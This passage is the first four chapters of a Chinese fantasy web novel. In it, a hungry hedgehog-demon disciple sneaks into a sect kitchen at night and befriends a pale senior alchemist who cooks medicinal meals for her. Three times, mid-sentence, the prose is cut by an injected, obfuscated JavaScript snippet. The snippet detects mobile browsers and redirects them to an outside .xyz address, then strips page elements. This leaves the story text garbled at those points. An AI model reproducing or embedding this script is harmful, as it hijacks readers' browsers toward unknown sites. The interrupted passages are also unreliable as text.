《今天被大师姐投喂了吗?》 1. 第一章 月黑风高夜,膳食堂内,紧闭的木窗被掀起一条缝。 停顿数秒,缝隙变大,一团黑影灵活地钻入窗内,滚落到木窗下的长桌上。 黑影抖了抖,小心翼翼地抬起头,挪动几步,警惕地嗅闻周围的气息,确定安全后,才是安心地从昏暗处爬出。 月光洒落,柔和地打在小刺猬拢在后背的刺上。 云榆熟练地跑到最后方,布局最为简陋的桌岸上,上面摆着着数十株形态各异,长相不规整的灵株。 放在这张桌岸上的,都是因炼丹损坏,无法再用,只能退而求其次,成为制作低级药膳的原材料。 也是云榆为数不多可以偷吃的东西。 身为一只小刺猬妖,云榆历经千险万苦终得化作人形,阴差阳错过了宗门的入内测试,成为明越宗的一名弟子。 而在选择未来的修道之途时,云榆被剑法阁几位师姐矫若游龙的身姿,长剑凌空挥下的气势吸引,毅然决然地入了剑法阁的门。 却不想,一入峰阁深似海,从此再也看不见希望。 身为剑修,云榆成功继承了一名优秀剑修该有的特质——穷。 峰阁每月发送的灵石只够修炼之用,连吃饭的钱都得掰着手指算。 这对于一只贪图口腹之欲的小刺猬来说,无疑是惊天噩耗。 在历经长时间的勘探和尝试后,她选择了明越宗内,最为富裕的三大峰之一的灵丹堂作为最终的偷吃场所。 小刺猬灵活地躲开桌面上摆着的几个类似于扑鼠夹的器物,抱起一株比她还要高的药材,嗅了嗅,小表情皱起。 这株闻着药效还有很多,不能偷吃。 小刺猬有原则的放下,甩了甩酸疼的小胳膊,又摸了摸瘪下去的肚子,黑黝黝的眼睛瞥见另外几张桌子上摆放着的药材。 药香浓郁的让她忍不住咽了下口水。 云榆强硬地收回目光,来到下一株不规整的灵株前,自言自语:“那边的药株一定更美味,忍住,不能吃。” 她认命地爬下,鼻头耸动,又嗅了几下面前的这株药材。 药香几乎散尽,宜偷吃。 云榆欣喜地抱起这株灵植,摇摇晃晃地贴着桌沿走。 早已熟悉桌子的高度,她将灵株扔下,随后两条胳膊撑在桌沿上,短小的桌子在半空中晃荡了几下,缩成一团地滚落在地。 小刺猬拖着灵株往另一侧走去,那里被黑暗笼罩,又有遮挡物隐藏,可以放心大胆地安心偷吃。 这是云榆有一次偷吃差点被发现而总结出的经验。 她化为原形后,身子小,无法拖着比身体大的灵株悄无声息的离开,又因为资历浅和穷,根本买不起空间储物,只能现吃。 有一次偷吃到兴头上,膳食堂的门突然被推开,若不是她反应敏捷,行动灵活,临时找了个地方躲避,就要被入内的人发现了。 自那以后,云榆就专门找了个较为隐蔽的地方用来吃东西。 药株清甜,云榆起初吃得不亦乐乎,但吃多了,也会觉得乏味。 她瘫坐在地上,小爪子抱着药株,两颊塞得鼓鼓的,漆黑的瞳孔在夜里分外明亮。 忽而,门外传来脚步声。 小刺猬咀嚼的动作停下,警惕性十足地从地上爬起,快速藏好药株,圆滚滚的身体借着夜色换了位置,隐蔽在桌脚后。 “吱呀”。 房门被推开,暖黄色的烛灯驱散黑暗,随后,一道拉长的人影进入。 膳食堂内大半空间被照亮。 云榆只瞧得见一袭浅蓝色的衣衫从她躲着的桌角后擦过。 应该是来例行检查的。 云榆见怪不怪地等候来人出去。 但那人却在视察完一圈后,停在了先前云榆拿走灵株的那张长桌前。 数秒后,来人才是继续走动。 没有要离开的意思,烛灯被放置在云榆躲藏的那张桌面上。 幽幽的火焰燃烧着,在墙面上投射出巨大的影子,云榆勉强分辨出影子的主人是一名女子。 正疑惑女子还要做什么,云榆听见一声火起之声,五官扭在一起。 这人现在就要做药膳?未免太早了吧。 云榆拍了拍半饱的肚子,如此一来,她就不能尽情偷吃了。 依依不舍地看向被她藏着的,还剩一小半的灵株,小刺猬无声地叹息一声。 再等等,说不定女子等会就走了。 若是一直不走,等到天亮,她藏起来的灵株被人发现,看见上面的牙印,以后想要偷吃就更难了。 要把赃物处理了。小刺猬哀愁地祈祷女子赶紧离开。 事与愿违,女子仿佛一点不急的模样,坐了下来,脚落在了云榆的不远处。 书页翻动的声音响起。 还是个爱好学习的。云榆五官扭曲到一起。 站得时间太久,云榆摆烂地坐下,反正女人不蹲下就不会发现她。 她把自己缩成一团,一身刺地露在外面。 不知过来多久,一阵阵香气让云榆忍不住抬起头。 面前的座位空了下来。 勺子与锅碰撞声响起,更为浓郁的香气被激发出。 云榆嘴馋地咽下口水,不受控制地往前跑了几步,爪子扒住桌脚,身体探出去一部分,终于看清了外面的景象。 身着浅蓝色衣衫的女子背对着她摆弄药膳,泼墨长发被一根同色发带束在身后,几根散落下的发丝在烛光中轻舞。 女子娴熟地摆弄药膳,袅袅白雾自盖顶中泄出,化为越来越淡薄的烟气。 不多时,药膳煮好,女子掀开盖顶,更为浓烈的白雾涌现,一瞬间模糊了女子的身形。 云榆圆溜溜的眼睛睁大,不由自主地从藏身之地走出些许,浓重的香气比她以往闻见的更为诱人。 她仰起头,小小的鼻头耸动,嗅闻空气中飘散的气息。 女子盛了一碗药膳,不知是不是太烫了点缘故,没拿稳,瓷碗与桌面发出沉闷的碰撞声。 云榆猛地回过神,连忙缩回身子,借助昏暗的阴影窥探外面的人。 女子端着那碗盛好的药膳转过身,白皙如玉的面容出现在云榆漆黑的瞳孔中。 犹如常年不见阳光的苍白之色,在橙黄色烛光的映衬下,多了几分暖色调。 云榆在大脑中快速搜索,她来到明越宗已有一段时日,因着日夜出入灵丹堂的缘故,对堂内弟子多有熟悉,可从未见过面前这人。 生面孔,很生的生面孔。 云榆眯起眼睛,攀附着小桌腿,一点点地挪动身体。 “谁在膳食堂?”正在云榆思索的间隙,门外传来年轻弟子的呼唤声。 不等她有所反应,原本端坐的女子蹲下身子,烛火刹时间熄灭。 膳食堂内陷入黑暗。 云榆被女子这番操作惊呆了,这不是不打自招,告诉外面人,里面藏人了吗? 外面传来走动声。 然,出乎她所料的,脚步声渐行渐远,最终彻底消失。 云榆不可置信地眨眨眼,灵丹堂的人都这么随便吗? 黑暗中,嗅觉被无限放大,丝丝缕缕的药香混合着蹲在身前的女子的清香,一同包裹住云榆。 她抖了抖身体,从女子刚才的反应分析,对方应当是刚入灵丹堂的弟子,对宗门事务了解不深。 既然这样,云榆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824598|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舔了下唇,在夜色中晶亮的眼眸望向外面的那锅药膳,灵活地窜动起来。 烛火被重新点燃,暖黄色的柔光朦胧了云榆背后的尖刺。 她双爪插在腰身,柔软的身体直直地站在桌面上,微仰着头,一幅严肃的模样。 裴依宁立于桌面,凝视着陡然出现在蜡烛边的小刺猬,眼底闪过一抹惊奇。 她不着痕迹地扫了眼云榆先前的藏身之地,手指仍旧搭在蜡烛上。 云榆轻咳了两声,抬了下下巴:“新入宗的弟子?你可知,这个点并非熬煮药膳的时间。” 咽了口口水,硬生生将视线从旁边的碗中拉回,她继续说:“你甚至还在此地偷食,若是让阁主知晓,你可知会受到何种惩罚?” 裴依宁半弯下身,视线与桌面上的小刺猬平齐,轻慢重复:“新入宗的弟子?”既而温声轻笑,“这么说,倒也没错。” 闭关多年,对于宗门变化,她多不了解,被当成新入宗的弟子也不为过。 她颇为好奇地:“会有何种惩罚?” 云榆余光瞥着那碗未动的药膳,一本正经地胡说:“会被执法堂的人带走,重打五十鞭。” 裴依宁神色不变,似在思考:“有这条规定吗?” 云榆肯定地点头:“大差不差,”见女子逐渐上道,她两只爪子环抱,好心地说,“不过你也别担心,我不会举报你的。” 烛火燃爆,火光跳动,投射在墙上的人影和刺猬影随之晃动起来。 “那……多谢。”裴依宁微微歪头:“你还没有告诉我,你是谁?” 云榆眼珠子转动:“这个,暂时还不能告诉你,等日后有机会了,再与你说也不迟。” 宗门内有过妖族和魔族的弟子,她原形出现也不用担心。 香味过于诱人,她有些忍不住了,舔了下唇,放低声音,有种难为情的错觉:“当然,相遇就是缘分,我为你保密也不是不行。”小爪子抬起,指了指不远处封起来的药膳,“正好我也饿了,你给我盛一碗,我们边吃边聊,我好跟你说些宗门注意事项。” 裴依宁跟随她指的方向看过去,唇边弧度渐显。 她回过头深深看了眼云榆,意味不明地:“好,劳烦……”她顿了下,“师姐在这等会。” 云榆心虚地摸下鼻子,应承下这个称呼:“不劳烦。” 裴依宁给她端了碗热气漂浮的药膳。 顾及到云榆不大的身形,裴依宁贴心地换了个适配的小碗,推到云榆面前,温声说:“师姐,慢用。” 云榆两眼发光,顾不得形象,抱着与身体差不多大的勺子舀了一口汤。 她瞳孔猛睁,这新人的手艺太好了吧,这种低品阶的药材都能做得这么好吃,比她过往数十年吃过的东西都要美味。 裴依宁眉眼含笑,手肘支撑着下巴,倾斜着头,精致的五官在烛火的映衬下,平铺一层暖意。 一碗见底,云榆扶着肚子,毫无形象地瘫坐在桌面上。她满足地半合上眼,余光瞥见先前吃了大半的药材,顿感之前过得是什么苦日子。 她叹息:“你厨艺很好,”吃饱后,防备心降低,或者说,面前人过于温和的外貌和言语让她生不起戒备心,“你也是来偷吃的吗?” 裴依宁扬眉,没有立刻回答:“也?” 云榆“嗯”了声,“我看见了,刚刚有灵丹堂弟子在外询问,你直接熄灭蜡烛,蹲身躲了起来。” 怪不得这小刺猬不藏了,突然出现了。 适才风刮灭了蜡烛,恰好她东西掉落,俯身去捡,倒是让小刺猬误会了。 裴依宁顺着她的话:“是这样。” 云榆道:“那你以后跟我一起吧。” 2. 第二章 窗外风起,身体因刚食用的药膳而暖意融融。 云榆坐起身,两只小爪子摊开,认真地望着面前身姿慵懒的女子,她很轻地呼出一口气,脸颊两侧微微耸动:“你应该是第一次来这里偷吃吧。” 过往的数月她都不曾见过这人。 裴依宁点头:“是,今晚的确是第一次。” 云榆扶着碗,墙壁上的影子跟着变化,又拉长了几分。 挪动到蜡烛边,云榆扬头看向比她原形还要高的烛台,小表情扭曲了一瞬。但很快,她敛住心绪:“你刚刚的做法是不对的,冒然熄灭灯火,会被人察觉到的。” 虽然她不知道为什么那位弟子没有进来。 “当然,你一开始点燃烛火的做法也是错误的。下次来,不要使用任何照明物,更不要使用这里的器物熬煮药材,若是突然有人过来,或是第二日清晨,药香未能散尽,灵丹堂的人势必有所察觉。”云榆将这几个月总结的经验告诉她,“她们加强戒备,再想过来,就难了。” 云榆语速很慢,漆黑的眼睛倒映出裴依宁精致的五官。 那张脸看着太不健康了,许是入宗前受了太多苦,不然一个刚入宗的弟子怎么敢半夜潜入这里偷吃。 云榆忍不住动了恻隐之心,心中对她来此地偷吃有了几分定论:“算了,你多补充补充营养,这些,我日后慢慢告诉你。” 不知她为何突然转变话语,就连那双眼睛中都透露出几分关心。裴依宁指尖不动声色地点了下:“好,辛苦师姐告知我。” “不用叫我师姐,”云榆靠在烛台边,她入宗数月,一直被叫师妹,突然被另一人喊师姐还有些不习惯。 蜡油滴落,落在烛台中央的圆盘中。 裴依宁长睫颤动,碎发轻盈浮动,莹白的指尖推动烛台,小刺猬身子一歪,被她反手护住。 拢在背后的刺并不扎人,裴依宁扶正小刺猬,在对方诧异的眼神中开口:“上面染上污渍了。” 云榆没多心,倒也不介意,懒懒地靠在裴依宁的掌心:“你叫什么?” 裴依宁学着她先前的语调和话语:“等以后有机会了,再与你说也不迟。” 云榆:“……总该要有个称呼的,我没入宗前,我朋友们都叫我星星,你也可以这么叫我。” “星星?”两个字在舌尖滚过,裴依宁略显好奇,“为什么呢?” 云榆闷闷地说:“跟我名字有关,暂时不能告诉你。” 裴依宁不逼迫,理解地点点头:“我没有小名。” 她自幼在明越宗长大,过往记忆中,多是别人唤她“裴师姐”,亦或者是宗门长辈,同辈人唤她“依宁”。 眼下自我介绍倒是难办了。 小刺猬显然不认识自己,若是直言名姓,兴许过不了多久就会被知晓身份。 裴依宁歪过头,垂下的一缕发丝随之叠在肩膀上,思索片刻,她淡笑着说:“宁依,你可以这么叫我。” 云榆没多想,唤了声“宁依,”随后抬起小爪子指了指那炉药膳,眉心微微拧起,“剩下的药膳怎么办?” 若是她一开始没吃药材,还能解决了,但现在……突兀的想起藏起来的小半药材,云榆嘴角不明显地抽了下。 她差点忘记,她藏起来的赃物了。 云榆表情痛苦:“完了,要被发现了。” 裴依宁看着面前小刺猬短短几秒瞬息万变的神情,唇角扬起的弧度迟迟未能降下。 她虚虚护着小刺猬的后背,尖刺时不时随着小刺猬的动作挤在她的掌心:“没关系,我会收拾好,不会被发现的。” 云榆站起身,掌心的刺脱离,裴依宁不着痕迹地收回手。 云榆两只双爪勾住桌沿,两条腿在半空中晃晃悠悠了两下,径直落到裴依宁的腿上。 小小的身形因失力跌跌撞撞地走了几步,重心一歪,她趴伏在裴依宁腿上。 药膳吃多了,撑的她快要走不动路了。 裴依宁伸手要去扶她,手却悬停在云榆两公分的位置。 有些不好扶,除非是捏着刺将这只小刺猬拎起来。 云榆没趴多久,她双爪撑在女子的腿上,奋力起身,扬起的小头不好意思地笑了笑,尴尬地说:“意外,我不是故意的。” 她急忙从裴依宁身上跳下去,四肢着地。 她跑了几步,出现在烛火覆盖之地,继续仰着头。 高低差太明显,云榆不由得放大了声音:“宁依,刚刚扎到你了吗?” 裴依宁自她从自己腿上跳下去后,便跟着蹲下身。 背影遮挡住烛光,两人皆隐没在昏暗中。 裴依宁的影子笼罩住面前的小刺猬:“没有扎到我。”见小刺猬有要离开的意思,她伸手捏了捏小刺猬的刺,“要走了吗?” 头一次被捏刺,云榆不自然地朝着裴依宁挪了两步:“天快亮了,等会灵丹堂的弟子就要过来熬煮药膳了。” 她不无担心地说:“这里药香太浓郁了,恐怕难以散开。” 她咬了下牙,左右看看,以原形行动太慢,除非变成人形,用灵力清除这里的气息。 就在她思索要不要找个理由让裴依宁出去,好化作人形处理这些时,屋内香气却消失了。 只余下身上残留的一股气息。 云榆惊诧地望着面前的人:“你……” “嗯?”裴依宁疑惑地看着她,再一抬手,桌面上的那炉药膳也随之消失,“怎么了?” 云榆哽在嗓子里的话咽下:“……没事。” 兴许这人学得快,况且本就不是什么难的灵法。 不对,那炉药膳怎么突然消失的,她微微睁圆了眼睛,黑亮的眸子一错不错地盯着裴依宁:“你有空间储物?” 裴依宁不在意地:“灵丹堂发的,星星没有吗?” 云榆:…… 之前就听说过除剑法阁外的峰阁入宗都会发一系列修炼之物,如今一见,当真如此。 知道丹修有钱,但也不至于财大气粗到给一个刚入宗的弟子分发空间储物一类的宝物吧。 反观她们剑法阁,剑都是她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824599|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛辛苦苦自己存钱锻造的。 云榆皮笑肉不笑:“我当然有,只是落在洞府中,忘带了。” 不能失了面子。 “对了,你帮我把这个也收了吧。”云榆从隐蔽处抱出吃得只剩下一小节的药材,“我下次找你取。” 这样,她的赃物也一并处理了。 裴依宁温声应了句“好”,念头一动,云榆抱着的药材登时消失的无影无踪。 再一次感叹空间储物的好用,云榆又看了眼窗外。 月色入户,树影婆娑,隐约可闻风吹叶片的声音。 云榆在心底叹息一声,她回眸正视裴依宁,叮嘱:“我需得走了,告诫你的偷吃事项务必记住,可千万别被抓到了。” 裴依宁出关不久,许久不曾与谁这般沟通,对方又是小动物形态,难免有几分新奇:“我会记住的。” 闻言,云榆放心地爬上靠近窗户的那方长桌,双爪摸了摸圆滚滚的肚子,尝试性地跳动几次,而后双腿一蹬,双爪扒住窗沿,一点点地向上挪动身体。 早知道不吃这么多了。 但这人手艺真好。 云榆费力地往上爬,忽地,爪子脱力,整个身体往下坠。 完了,要在新弟子面前丢人了。 云榆绝望的闭上了眼睛。 想象中的落疼痛并未传来,与此相对的,是极端的柔软。 她落在了裴依宁的掌心。 女子缓而慢拢起双手,上抬至与窗沿平行。 云榆捂着脸,从爪子缝中露出一点视线,面庞染上点点红润,好在有毛发的遮挡,不会被发现。 她欲盖弥彰:“不小心滑了下。” 要说吃多了,撑的没力气岂不是太丢刺猬脸了。 裴依宁理解地点点头:“这边的窗沿本就滑,星星小心点。” 借由裴依宁的帮助,云榆轻松地跳上窗沿,应下了裴依宁为她寻的借口,转身跳窗离开前,她问:“宁依,你今晚还会来吗?” 这人的厨艺真的太好了,她蓦然生出几分不舍。 裴依宁垂眸思索,她刚出关,需得去堂主那汇报闭关所得,再去宗主那一趟,积压的事务也要一并处理了。 短时间内…… 挤挤还是可以的。 她说:“来的。” 云榆看着她略显苍白的脸,还是忍不住道:“你既然进入了灵丹堂,丹药自不会少。宗门师姐妹都是很好的人,你嘴甜一点,让她们多为你补补身体。” 裴依宁一愣,知晓她是误会了,但还是道:“好,多谢星星提醒,我会注意的。” 云榆这才放心离开,小小的身体藏于夜色中,朝着另一处离去。 直至那方身影彻底消失在视野中,裴依宁方才出了膳食堂。 先前那位出声的弟子正在门外廊台上等着。 适才她发觉膳食堂内有异动,正欲进去查看,却收到里面人的传音,才是止住步伐,退了出来,候在此处。 见裴依宁出来,她躬身一礼:“裴师姐。” 3. 第三章 回到住处,云榆四仰八叉地躺在铺好的毯子上,心满意足地蹬了两下爪子,意犹未尽地抿住唇。 今晚的药膳比以往在灵丹堂吃到的好吃数倍,分明是同样的药材,同样的器物,偏偏宁依做的味道就是更好些。 云榆翻了个身,侧躺着望着天色微亮的窗外,好在今晚还能品尝到宁依的手艺。 她咽了下喉咙,休息了会,从毯子上爬起,几步蹦跳着往开辟出来,专供洗漱的区域去。 刺猬身形随着走动变化,呼吸间,一道颀长的身形出现在洞府内。 云榆化做了人形。 棕黑色的长发随意披散在身后,漆黑的瞳孔隐没着两三粒光点,浅白衣衫衬得她颇有修炼之感,只是表情还带着吃饱后的满足。 洗漱过后,云榆伸了个懒腰。 外面的天亮了起来。 昼伏夜出的习惯没能更改,她困意上涌,逐渐磕上眼皮。 云榆是被一阵敲门声惊醒的。 “咚咚咚”的声响每隔几息就会响起,像是肯定洞府的主人就在内,持之以恒地敲着门。 被吵醒的云榆咧了下牙,擦了下唇角,翻身下床。 她只在偷吃时变回原形,其余时间,都是以人形出面。 宗门内知晓她刺猬原形的人不多。 她开了门,眼底混着点点青意,歪身靠在门板上,迎上敲门人的目光,捂着唇打了个哈欠:“怎么了,卞凝。” 卞凝是当初和她一起入剑法阁的,两人性格相仿,关系不错。 对她,云榆随意了很多,转身带着人往里走:“进来坐会?” 卞凝没好气地拉住她,云榆回身:“嗯?” 卞凝不知从哪里摸出一包东西扔过去,无语道:“今日是灵石发放日,你怎么一直没来?” 云榆下意识接住被丢过来的东西,颠了两下,她眉眼笑开,实话实说:“忘了……” 还念着今晚药膳的的事,竟将今日灵石发放这么重要的事给忘记了。 按理来说,灵石发放只需一个传音,便会自动送入她们面前,省去来回跑的麻烦。 但云榆毕竟是入宗没几个月的弟子,暂时没那个待遇,只能亲力亲为。 卞凝没停留多久便离开了。 云榆懒洋洋地关了门,困意被打消,她拎着那袋灵石坐在桌子边,一只手搭在桌面上,侧脸爬了会。 昨晚见识到空间储物的好用性,又逢今日发放灵石,云榆的念想又升了起来。 她抓起灵石往交易堂去。 交易堂,宗门内部交易之所,宗内弟子可将不用之物拿出售卖或是以物换物。 云榆在交易堂内兜兜转转了小半个时辰,终于找到一个价格在她接受范围内的储物空间。 经过一番讨价还价后,云榆以二十枚灵石的价格拿下。 肉疼的将储物空间与自身绑定,内视空间,云榆眼黑了又黑。 二十枚灵石,还不到一平米的空间。 器物堂的弟子这么赚钱吗?早知道她当初选择进器物堂了。 余光扫到附近一个售卖丹药的灵丹堂弟子,不知怎么,依宁那张苍白无血色的脸浮现在她面前。 云榆:“……” 算了,吃人的嘴软,她脚步一转,挪过去。 “哎,这位同门要看点什么?”见有人来,灵丹堂的那位登时热情地介绍起来,“我这边有回复灵力的,有快速疗伤的……” 云榆抬起手,对面女子眨眨眼,学着她的动作抬手。 两人面面相觑。 云榆尴尬地咳了声,问:“有补气血的丹药吗?” 女子一愣:“补气血?” 她来这还是第一次听说有人要这种丹药。 见她怔然的模样,云榆试探地问:“没有?” 女子回神,忙说:“有有有,我这就给你拿。” 灵力涌现,眨眼间的功夫,一瓶白净的瓷瓶出现在女子掌心,她递到云榆身前,拨开瓶塞。 药香飘出。 清香中混着一种说不上来的气息。 没有依宁那碗药膳的药香引人。 女子笑眯眯地说:“一品气血丸,一瓶五枚,十灵石。” “十灵石?”云榆差点没控制住声量,“这么贵?” 女子见惯了这种场面,耐心解释:“一直是这个价格,从没有变过,宗门内的价格都是压低了的,外面更贵。” 云榆:“……” 不止器物堂赚钱,灵丹堂也是赚钱的。 她眼一瞥,另一边是一位阵灵阁的弟子。 “一张一级符纸三枚灵石……” 云榆:“……” 她恨自己的贫穷,峰阁的贫穷,连赚钱的法子都没有。 女子见她迟迟不说话,手挥了挥:“这位同门,你还要吗?” 云榆再咬牙,心在滴血:“要。羡慕你们丹修。” “好嘞。”女子笑盈盈地摊手手掌,接过云榆依依不舍递过来的十枚灵石,将瓷瓶递过去,宽慰,“还好啦。” 另一边的一位丹修闻言凑过来,话是对女子说的:“我记得裴师姐闭关前,随手炼制的一枚丹药,被卖出了一万灵石的价格。” “我们可不能和裴师姐比,什么时候,我能达到裴师姐十分之一的高度就满足了。” 听着她们谈论的云榆:“……” 裴师姐,听着很厉害的样子,怎么入宗的几个月,不曾听说过这人的名号,今日还是头一回听说。 卖给她丹药的女子钦慕地说:“听说裴师姐出关了,也不知道能不能被指点一二。” “那可是裴师姐啊,我也想被指点。” 云榆将药瓶妥帖放入储物空间内,出了交易堂。 不知那位裴师姐出关,灵丹堂会不会加强戒备,日后再去偷吃,会不会变得麻烦。 云榆皱着眉头。 算了,走一步看一步吧。 只是今日出门,花了的三十枚灵石着实让她心都在滴血,还没捂热,就花了小半出去。 下午她去练了两个时辰的剑,直到手臂酸疼不已,云榆才是回到洞府。 等到夜深人静,一只圆滚滚的棕黑色小球从窗台上滚落,隐入无边的夜色中。 云榆轻车熟路地混入灵丹堂,小小的身形借着夜色的掩护灵活地跳上膳食堂的窗沿。 她一如既往地探头左右看看,忽地,一张人脸出现在瞳孔中。 云榆心下一慌,下意识就要逃离此地,然而,未来得及有动作,理智强行将她拉了回来。 膳食堂内寂静无声,只余下朦胧的月光,沿着半开的木窗入内,勉强可以视物。 云榆小爪子拍了拍胸膛,径直坐在窗沿边,注视着半米外眉目含笑的女人,压住喘息的呼吸,才是道:“你怎么神不知鬼不觉的。” 裴依宁瞧不见小刺猬具体的神情,从语气中分辨出一二,她温和开口:“你不是说,不要点燃烛光吗?” 云榆哽住,这句话的确是她说的,但她没想到裴依宁竟然来得比她还早。 “算了,”她后肢一蹬,四肢着地,安全落在长桌上,扫过摆放残次药材的长桌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824600|158791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云榆道,“我们速度快一点。” 裴依宁听从她的指挥:“好的,星星。” 被叫到小名,云榆抖动着身体,掩饰般地三两下蹦到另一侧,凑近那些药材,一株株地嗅闻。 裴依宁扬眉,不知她这般做的用意。 直到云榆挑挑拣拣,选了一株近乎无灵气的灵株放在她面前。 灵株残存的灵气游荡漂浮,药效在不断流失。 裴依宁伸出一根手指点在上方:“这株?”她歪头看向另一侧品质还算可以的药材,“这里的都是药膳食材,那边品质会高很多。” 云榆一本正经地摇摇头,小表情跟着严肃起来:“这就是我教你的第二个偷吃技巧。” 裴依宁抬眉。 云榆道:“偷吃一些高品阶的药材,会增大被发现的风险。这种近乎没有灵气的植株,灵丹堂的人不会过多留意,而且……” 她沉默了下,耷拉着脑袋,精神气都变低了:“偷吃本就不对,现在有的吃就不错了。再吃高品阶的植株,也太不识好歹了吧。” 小刺猬垂头的模样太过可爱,也太过可怜了,裴依宁两根手指搓了搓,忍住抬指戳对方脸颊的想法。 她道:“我记住了,星星。” 闻言,小刺猬“腾”地直起身板,漆黑色眸子望着裴依宁那张依旧苍白的脸,她从空间储物中取出午后买的那只药瓶,故作不在意地推了过去:“给你的。” 裴依宁好奇地接过。 装丹药的瓷瓶,手感和外部蕴含的寥寥灵气来看,品级不高。 她余光瞥见小刺猬双爪环抱,傲气得意,小眼神却一个劲地观察她表情的模样,唇角划出浅淡的弧度,她配合着惊奇:“这是?” 小刺猬头扬得更高了:“丹药,补充气血之用,你每日吞服一枚即可。” “补充气血?”裴依宁拨开药塞,很淡的药香顺着瓶身流出。 仅仅凭借药香,裴依宁便分辨出了丹药的品级。 一品气血丹。 小刺猬是看她面色不对,给她的。 裴依宁无意识地敲击瓶身。 片刻后,她将药瓶递回去:“两面之缘罢了,我怎能收你东西。” 云榆早有所料,板着脸:“给出去的东西岂有收回来的道理,你若是不要,扔了便是。” 裴依宁推拒不了:“那谢谢星星的好意,星星有什么想要的吗?” 云榆摆摆手:“虽说你是丹修,但毕竟还没入门,等哪日你有所成了,为我炼制些丹药便是。”她眼珠子转动,“时间不早了,再不做,灵丹堂的人就来了。” 裴依宁应道:“好。” 药瓶被她收入空间储物中,灵识探到一边的小半截药材,她取出,问:“星星,这株你还吃吗?” 是昨晚,云榆未能吃完的那根药株。 云榆抱住药株的另一端,义正言辞:“要,可不能浪费了。” 裴依宁倒了杯温水放在小刺猬面前,回身,念动,火苗窜动。 登时,屋内闪出橙黄色的光亮。 云榆刚咬下一口药株,脸颊两侧鼓鼓囊囊的,含糊不清地道:“会被发现的。” 裴依宁无辜地说:“不点火,怎么熬煮药膳呢?”她调皮地卖了个关子,从空间储物中摸出一张符纸,“这张符纸可以将这处空间禁锢,外界不会发现这里的异动。” 说罢,抬手一扔,空间被禁锢。 云榆睁大眼睛:“你还有这么神奇的符纸。” 但很快,她注意到矛盾点:“这符纸不便宜,你怎么会有这种东西?” 4. 第四章 裴依宁笑意不减,拾起云榆挑选的那株灵植,清除掉表面不可食用部分,切段放入药锅中:“符纸吗?刚入宗时,一位阵灵阁的师姐给的,据说可以重复使用,今夜正好拿来一试。” 云榆咀嚼的动作一顿,碎裂的药渣呛入喉咙中,她憋得脸色通红,小爪子边拍胸口边闷闷地问:“你入宗还有阵灵阁的师姐送你符纸?” 裴依宁迈步想要为她拍拍后背,可小刺猬后背拢着的刺让她无从下手。 “还好吗?”裴依宁温声问。 云榆:“没事。” 人比妖,气死妖。 她入宗怎么就没有其它峰阁的师姐送东西。而且可以重复使用的符纸,炼制此符纸的人修为定然不低。 暴殄天物,怎么会有人这么暴殄天物。将这种符纸用在偷吃上面。 哽住的嗓子缓过来,云榆恨恨地咬了一大口灵株:“既然这样,把烛火点燃吧。” 瞧见她恢复如初,露出的小耳朵颜色也降了下去,裴依宁迈出的步子收回。 灵识在空间储物中找到昨夜用的那盏烛台。原打算使用些别的照明物,但区区一个符纸就让小刺猬有了疑问,若是再拿出别的,难免会让小刺猬起疑心。 毕竟,她在小刺猬心里,只是一个刚入宗门,营养不良的师妹。 裴依宁翘唇,点燃烛火。 膳食堂内顷刻间亮了许多。 在烛光映衬下,裴依宁眉眼愈发温柔。 云榆刚咽下最后一口药株,侧目,漆黑的瞳孔中映出这幕,难掩惊艳,她直白而真心地夸赞:“你长得很好看。” 裴依宁将烛台推至桌面偏中央的位置。她听过许多类似的话语,但像小刺猬这么简单直白的还是第一次。 “不过,”下一秒,云榆的声音接了上来,“你的厨艺更好。” 空气中渐渐有药香浮动,云榆鼻头耸动,撑着桌面站起身。 裴依宁怔愣了瞬,好笑地摇摇头。 在小刺猬的眼里,好像吃比较重要。她入宗这么多年,还是第一次见到这么贪念口腹之欲的。 还是一只稍有原则的。 裴依宁莞尔:“是吗?那今晚星星多吃点。” 昨晚只吃了一小碗。 云榆重重点了点头,她今日特意将肚子留了出来,还去练了两个时辰的剑,就是为了多消耗体力,为今晚做准备。 一炷香后,膳食堂内漂浮出浓重的香气。 云榆眸子亮了又亮,她几个蹦跳,跳到药锅附近,探头探脑地想要看雾气弥漫的锅内。 裴依宁伸手拦住不老实的小刺猬:“别被热气烫到了。” 云榆悻悻地后退几步,小眼神不舍得挪动半分。 裴依宁没办法,伸手,手指动了动,示意云榆跳到她手上。 随后,将小刺猬放到自己肩膀上。 云榆先是用了个清洁术,不忘告知对方:“宁依,我来之前沐浴过了,是干净的。” 言下之意不会弄脏她的衣服。 裴依宁别开头,脸颊被小刺猬的刺轻轻刺了下,并不疼。 